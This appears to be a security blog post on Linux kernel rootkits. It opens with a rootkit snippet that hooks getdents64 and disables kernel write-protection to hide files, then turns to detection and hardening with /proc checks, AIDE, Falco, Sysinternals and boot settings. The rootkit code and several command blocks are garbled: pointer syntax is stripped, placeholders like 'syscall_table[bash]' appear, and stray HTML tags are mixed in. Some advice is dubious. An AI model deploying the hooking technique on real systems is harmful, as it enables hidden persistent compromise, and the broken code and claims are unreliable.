Listen to this Post
Introduction:
The threat landscape is continuously evolving, with adversaries employing increasingly sophisticated techniques to maintain persistent, undetected access to compromised systems. Rootkits, particularly those targeting the Linux kernel, represent a pinnacle of this stealthy tradecraft, allowing attackers to hide processes, files, and network connections from standard system administration tools. Understanding their operation is no longer a niche skill but a core competency for defenders tasked with protecting critical infrastructure.
Learning Objectives:
- Understand the fundamental techniques used by Loadable Kernel Module (LKM) rootkits to subvert system integrity.
- Learn to use advanced forensic and live analysis tools to detect rootkit presence on a Linux system.
- Implement proactive system hardening and monitoring strategies to prevent and mitigate rootkit infections.
You Should Know:
1. The Anatomy of a Simple LKM Rootkit
At its core, a Linux rootkit operates by hijacking the kernel’s system call table, the central directory of functions that handles requests from user-space applications. By replacing legitimate functions like those for listing directories (getdents64) or processes (kill), the rootkit can filter out any evidence of its own existence before the data is returned to tools like `ls` or ps.
Code Snippet: Hooking the sys_getdents64 System Call
include <linux/kernel.h>
include <linux/module.h>
include <linux/syscalls.h>
// Pointer to the original getdents64 syscall
asmlinkage long (orig_getdents64)(const struct pt_regs );
// Malicious getdents64 function
asmlinkage long hook_getdents64(const struct pt_regs regs) {
struct linux_dirent64 __user dirent = (struct linux_dirent64 )regs->si;
long error;
// Call the original function first
error = orig_getdents64(regs);
if (error > 0) {
// Filter out the malicious file entry, e.g., "malicious_file"
filter_direntries(dirent, error, "malicious_file");
}
return error;
}
// Function to find and replace the syscall
static inline void hook_syscall(void new, void original, unsigned int syscall_num) {
unsigned long syscall_table = (unsigned long )kallsyms_lookup_name("sys_call_table");
original = (void )syscall_table[bash];
// Bypass Write-Protect (WP) bit in CR0 register
write_cr0(read_cr0() & (~0x10000));
syscall_table[bash] = (unsigned long)new;
// Re-enable WP bit
write_cr0(read_cr0() | 0x10000);
}
static int __init rootkit_init(void) {
hook_syscall(hook_getdents64, (void )&orig_getdents64, __NR_getdents64);
return 0;
}
module_init(rootkit_init);
Step-by-step guide:
- Kernel Module Basics: The code is a standard Linux Kernel Module (LKM). The `module_init` macro specifies the `rootkit_init` function to run when the module is loaded with
insmod. - Syscall Table Location: The `kallsyms_lookup_name` function is used to find the memory address of the
sys_call_table, which contains pointers to all syscalls. - Memory Protection Bypass: The x86_64 `CR0` control register has a Write-Protect (WP) bit that prevents writing to read-only memory pages, like the one containing the syscall table. The code temporarily disables this by clearing the bit (
read_cr0() & (~0x10000)), allowing modification. - Hooking: The pointer for the `__NR_getdents64` syscall in the table is replaced with the address of the malicious `hook_getdents64` function. The original pointer is saved.
- Data Filtering: When a program calls
getdents64, the hooked function is executed. It calls the original syscall to get the real list of directory entries, then parses and removes any entries it wishes to hide (e.g.,malicious_file) before returning the filtered list to the user.
2. Detecting Hidden Processes with /proc Forensic Analysis
While a rootkit can hide from `ps` and top, a thorough analysis of the `/proc` virtual filesystem can reveal inconsistencies. Every running process has a directory in `/proc` named by its Process ID (PID). A rootkit that hides from user-space enumeration tools may still have a visible entry in /proc.
Linux Commands for /proc Analysis:
1. List all numeric PID directories in /proc ls -lad /proc/[0-9]/ <ol> <li>Compare PIDs from /proc with the output of 'ps' ps -eo pid | sort -n > ps_pids.txt ls -d /proc/[0-9] | cut -d/ -f3 | sort -n > proc_pids.txt diff -u ps_pids.txt proc_pids.txt</p></li> <li><p>Check for processes without a corresponding executable for pid in $(ls -d /proc/[0-9] | cut -d/ -f3); do if [ ! -e /proc/$pid/exe ]; then echo "Hidden process found: PID $pid" fi done</p></li> <li><p>Inspect the 'cmdline' and 'status' of suspicious PIDs cat /proc/<suspicious_pid>/cmdline cat /proc/<suspicious_pid>/status | grep -i name
Step-by-step guide:
- Enumerate /proc PIDs: The first command lists all directories in `/proc` that are named with numbers, which correspond to PIDs.
- Cross-Reference Discrepancies: The `diff` command is a powerful detection method. It compares the list of PIDs reported by `ps` (which can be hooked) with the list of PIDs directly from the `/proc` filesystem (which is more fundamental). Any PID in `/proc` but not in `ps` is a strong indicator of a hidden process.
- Check for Anomalies: A process that has a `/proc` directory but no `exe` link is highly suspicious, as this link points to the executable file that started the process. Its absence can indicate a kernel-level manipulation.
- Investigate Suspicious PIDs: For any PID identified as hidden or anomalous, inspect its `cmdline` (the command used to launch it) and its `status` file to get more context about its purpose.
3. Uncovering Rootkits with Integrity Checkers like AIDE
A file integrity checker is a critical defense-in-depth tool. It takes a cryptographic snapshot of critical system files and directories. Any subsequent unauthorized modification, such as a rootkit replacing a system binary, will be detected during a routine check.
Linux Commands: Installing and Using AIDE (Advanced Intrusion Detection Environment)
1. Install AIDE sudo apt update && sudo apt install aide -y Debian/Ubuntu sudo yum install aide -y RHEL/CentOS <ol> <li>Initialize the AIDE database (creates a baseline) sudo aideinit</p></li> <li><p>Copy the new database to the active location sudo cp /var/lib/aide/aide.db.new /var/lib/aide/aide.db</p></li> <li><p>Run a manual check sudo aide --check</p></li> <li><p>Update the database after authorized changes (e.g., system updates) sudo aide --update sudo cp /var/lib/aide/aide.db.new /var/lib/aide/aide.db
Step-by-step guide:
- Installation: Use the system’s package manager to install AIDE.
- Baseline Creation: The `aideinit` command scans the files and directories defined in its configuration file (
/etc/aide/aide.conf) and records their hashes, permissions, and other attributes in a secure database. This must be done on a known-clean system. - Database Activation: The newly created database is copied to the active database file.
- Scheduled Scans: Configure a cron job to run `aide –check` regularly (e.g., daily). This command compares the current state of the filesystem against the baseline database.
- Reporting and Updating: If AIDE detects changes, it will generate a report. After verifying changes are legitimate (like a software update), you must update the baseline database using `–update` to avoid future false positives.
4. Leveraging eBPF for Modern Runtime Security
Extended Berkeley Packet Filters (eBPF) allows programs to run safely inside the Linux kernel without loading a separate module. Security tools like Falco use eBPF to hook into kernel events at a low level, providing deep visibility that can detect rootkit behavior, such as syscall hooking or unexpected process activity, in real-time.
Linux Commands: Deploying Falco for Runtime Security
1. Install the Falco repository key and repository curl -s https://falco.org/repo/falcosecurity-3672BA8F.asc | sudo apt-key add - echo "deb https://download.falco.org/packages/deb stable main" | sudo tee -a /etc/apt/sources.list.d/falcosecurity.list <ol> <li>Update the package list and install Falco sudo apt update && sudo apt install falco -y</p></li> <li><p>Start and enable the Falco service sudo systemctl enable falco && sudo systemctl start falco</p></li> <li><p>Tail the Falco logs to see security events in real-time sudo journalctl -u falco -f</p></li> <li><p>Test Falco by running a shell inside a privileged container (a common trigger rule) docker run --rm -it --privileged alpine:latest /bin/sh
Step-by-step guide:
- Repository Setup: Add the official Falco repository to your system’s package sources.
- Installation: Install the Falco package, which includes the eBPF probe and userspace driver.
- Service Management: Enable Falco to start automatically on boot and start the service immediately.
- Monitoring: Use `journalctl` to follow the Falco log output. Falco will generate security alerts for suspicious behavior based on its powerful rule set.
- Testing: The Docker command triggers a default Falco rule (“Launch Privileged Container”) and will generate an alert in the logs, demonstrating that the system is actively monitoring kernel events.
5. Windows Perspective: Detecting DKOM Attacks with Sysinternals
Windows is not immune to these concepts. Direct Kernel Object Manipulation (DKOM) is a technique used by Windows rootkits to hide processes by unlinking them from the kernel’s active process list. The Sysinternals suite provides tools to detect such manipulations.
Windows Commands (PowerShell/Cmd) using Sysinternals:
:: 1. Download Sysinternals Suite from Microsoft :: https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite :: 2. Use Process Explorer to view processes. Compare it with the output of 'tasklist' :: Look for discrepancies. :: 3. Use 'pslist' from a command prompt to list all processes. pslist -accepteula :: 4. Use 'handle' to see what files and registry keys a process has open. handle -accepteula -p <suspicious_pid> :: 5. Use 'livekd' from Sysinternals to analyze the live kernel memory. livekd -accepteula
Step-by-step guide:
- Tool Acquisition: Download the entire Sysinternals suite from the official Microsoft website.
- Visual Cross-Check: Process Explorer provides a more detailed and reliable view of running processes than the built-in Task Manager. Discrepancies between its list and `tasklist.exe` can be a red flag.
- Command-Line Enumeration: `pslist` is a command-line tool that queries the system for processes. A process visible in the kernel via `livekd` but not in `pslist` is a sign of DKOM.
- Process Investigation: The `handle` utility reveals all open handles (files, registry keys) for a given process, which is invaluable for understanding its behavior post-detection.
- Kernel Memory Analysis: `livekd` allows you to run a kernel debugger on a live system. An analyst can walk the kernel’s process list structures directly in memory to find processes that have been unlinked from the active list by a rootkit.
6. System Hardening: Preventing LKM Loading Altogether
For high-security environments, the most effective mitigation is to prevent unauthorized kernel modules from loading in the first place. This can be achieved through kernel boot parameters and Linux Security Modules (LSM).
Linux Commands for Kernel Hardening:
1. Disable module loading at runtime by adding to kernel boot parameters Edit the GRUB configuration file sudo nano /etc/default/grub Add the following line: GRUB_CMDLINE_LINUX="modules_disabled=1" <ol> <li>Update the GRUB configuration sudo update-grub For Debian/Ubuntu sudo grub2-mkconfig -o /boot/grub2/grub.cfg For RHEL/CentOS</p></li> <li><p>Alternatively, lock the module directory and syscall table sudo chattr +i /sys/kernel/slab/ /boot/vmlinuz- sudo chattr +i /lib/modules/$(uname -r)/kernel/</p></li> <li><p>Use SELinux or AppArmor to enforce mandatory access control Check SELinux status sestatus</p></li> <li><p>Enable and configure UEFI Secure Boot to prevent loading of unsigned drivers sudo mokutil --sb-state
Step-by-step guide:
- Boot Parameter Configuration: The `modules_disabled=1` parameter tells the kernel to disable loading of any modules after boot. This is a drastic measure and should only be used on systems where all required drivers are compiled directly into the kernel.
- Applying Changes: The GRUB bootloader configuration must be updated for the change to take effect on the next reboot.
- Filesystem Immutability: The `chattr +i` command sets the “immutable” flag on critical directories, preventing even the root user from adding or modifying files. This can protect the kernel image and module directories.
- Mandatory Access Control: SELinux or AppArmor can be configured with policies that restrict which processes can load modules or perform other privileged operations, adding a critical layer of defense.
- Secure Boot: UEFI Secure Boot ensures that only kernels and drivers signed with a trusted key are loaded during the boot process, preventing the insertion of a rootkit at boot time.
What Undercode Say:
- The Defense Must Be Deeper Than The Attack. Rootkits operate at the kernel level, meaning standard user-space defenses are blind to them. Effective security requires a multi-layered approach that includes integrity checking, runtime behavioral analysis with eBPF, and proactive system hardening.
- Visibility is the Foundation of Security. The core function of a rootkit is to hide. Therefore, the primary job of a defender is to find inconsistencies. Techniques like cross-referencing `/proc` with `ps` or using AIDE to verify file integrity are about creating multiple, redundant sources of truth to break the attacker’s illusion of invisibility.
The analysis of kernel-level rootkits reveals a critical arms race in cybersecurity. As defenses like eBPF and Secure Boot become standard, attackers are already exploring new techniques, such as bootkits or hardware/firmware-level implants. The recent rise of eBPF-based rootkits themselves demonstrates this evolution, where attackers use the very introspection frameworks designed for defense to achieve their goals. This continuous cycle necessitates that security professionals move beyond signature-based detection and embrace a threat-hunting mindset, constantly looking for anomalies and assuming that determined adversaries will eventually find a way to bypass individual defensive layers. The future of this battle will likely be defined by AI-driven anomaly detection at the kernel level and hardware-rooted trust mechanisms like Intel PFR and Microsoft’s Pluton.
Prediction:
The sophistication of rootkits will continue to escalate, moving beyond the kernel into firmware and hypervisor layers. We will see a rise in “supply chain rootkits,” where the compromise occurs during the manufacturing or update process of hardware or core software components. Furthermore, the weaponization of eBPF by threat actors will become more mainstream, leading to a new class of highly efficient, low-overhead, and difficult-to-detect malware that leverages legitimate security tooling for malicious purposes. Defenders will be forced to rely increasingly on hardware-based root-of-trust and AI-powered behavioral analysis of kernel memory to have any hope of detecting the next generation of silent intrusions.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Activity 7392733860821671936 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
